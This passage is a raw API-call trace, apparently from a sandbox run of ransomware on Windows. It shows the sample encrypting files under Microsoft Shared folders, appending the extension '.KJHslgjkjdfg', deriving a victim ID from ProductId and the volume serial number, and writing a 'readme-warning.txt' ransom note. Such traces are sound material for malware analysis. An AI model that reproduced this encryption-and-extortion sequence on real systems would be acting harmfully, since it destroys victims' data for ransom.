lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.785] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.785] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.785] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.786] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.786] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x65c96, lpOverlapped=0x0) returned 1 [0179.794] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x65ca0, dwBufLen=0x65ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x65ca0) returned 1 [0179.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.798] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x65ca0, lpOverlapped=0x0) returned 1 [0179.799] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x65d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.799] SetEndOfFile (hFile=0xf0) returned 1 [0179.802] GetProcessHeap () returned 0x990000 [0179.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.802] GetProcessHeap () returned 0x990000 [0179.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.kjhslgjkjdfg")) returned 1 [0179.809] CloseHandle (hObject=0xf0) returned 1 [0179.809] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0179.809] GetProcessHeap () returned 0x990000 [0179.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.809] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0179.809] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.810] GetProcessHeap () returned 0x990000 [0179.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.810] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0179.810] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.810] GetProcessHeap () returned 0x990000 [0179.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0179.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.810] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29deb98 | out: pbData=0x9b78c0, pdwDataLen=0x29deb98) returned 1 [0179.810] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.810] GetProcessHeap () returned 0x990000 [0179.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.810] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0179.810] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.810] GetProcessHeap () returned 0x990000 [0179.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.810] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0179.810] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.810] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0xf0) returned 0x0 [0179.811] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0179.811] RegCloseKey (hKey=0xf0) returned 0x0 [0179.811] GetProcessHeap () returned 0x990000 [0179.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.811] GetProcessHeap () returned 0x990000 [0179.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.811] GetProcessHeap () returned 0x990000 [0179.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0179.811] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0179.811] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.811] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.811] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.812] GetProcessHeap () returned 0x990000 [0179.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.812] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.812] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.812] GetProcessHeap () returned 0x990000 [0179.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0179.812] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt") returned 79 [0179.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.813] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0179.814] CloseHandle (hObject=0xf0) returned 1 [0179.815] GetProcessHeap () returned 0x990000 [0179.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.815] GetProcessHeap () returned 0x990000 [0179.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0179.815] GetProcessHeap () returned 0x990000 [0179.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.815] GetProcessHeap () returned 0x990000 [0179.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.815] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0179.815] GetProcessHeap () returned 0x990000 [0179.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.815] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0179.816] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0179.816] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.816] GetProcessHeap () returned 0x990000 [0179.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.816] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 0 [0179.816] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0179.816] GetProcessHeap () returned 0x990000 [0179.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0179.816] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0179.816] GetProcessHeap () returned 0x990000 [0179.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x74) returned 0x9a9d68 [0179.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0179.818] GetProcessHeap () returned 0x990000 [0179.818] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0179.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0179.818] GetProcessHeap () returned 0x990000 [0179.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x276) returned 0x9f9760 [0179.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0179.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0179.818] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0179.818] GetProcessHeap () returned 0x990000 [0179.818] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0179.818] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0179.818] GetProcessHeap () returned 0x990000 [0179.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x76) returned 0x9a9d68 [0179.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0179.819] GetProcessHeap () returned 0x990000 [0179.819] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0179.819] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.819] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0179.819] GetProcessHeap () returned 0x990000 [0179.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x278) returned 0x9f9760 [0179.819] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0179.819] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0179.819] GetProcessHeap () returned 0x990000 [0179.819] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0179.820] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0179.820] GetProcessHeap () returned 0x990000 [0179.820] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x88) returned 0x9b0940 [0179.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0179.820] GetProcessHeap () returned 0x990000 [0179.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.820] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.820] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0179.820] GetProcessHeap () returned 0x990000 [0179.820] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28a) returned 0x9b1eb0 [0179.820] GetProcessHeap () returned 0x990000 [0179.820] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x94) returned 0x9b0940 [0179.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.823] GetProcessHeap () returned 0x990000 [0179.823] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.823] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.823] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0179.823] GetProcessHeap () returned 0x990000 [0179.823] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x296) returned 0x9fd9f0 [0179.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.824] GetProcessHeap () returned 0x990000 [0179.824] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.824] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.824] 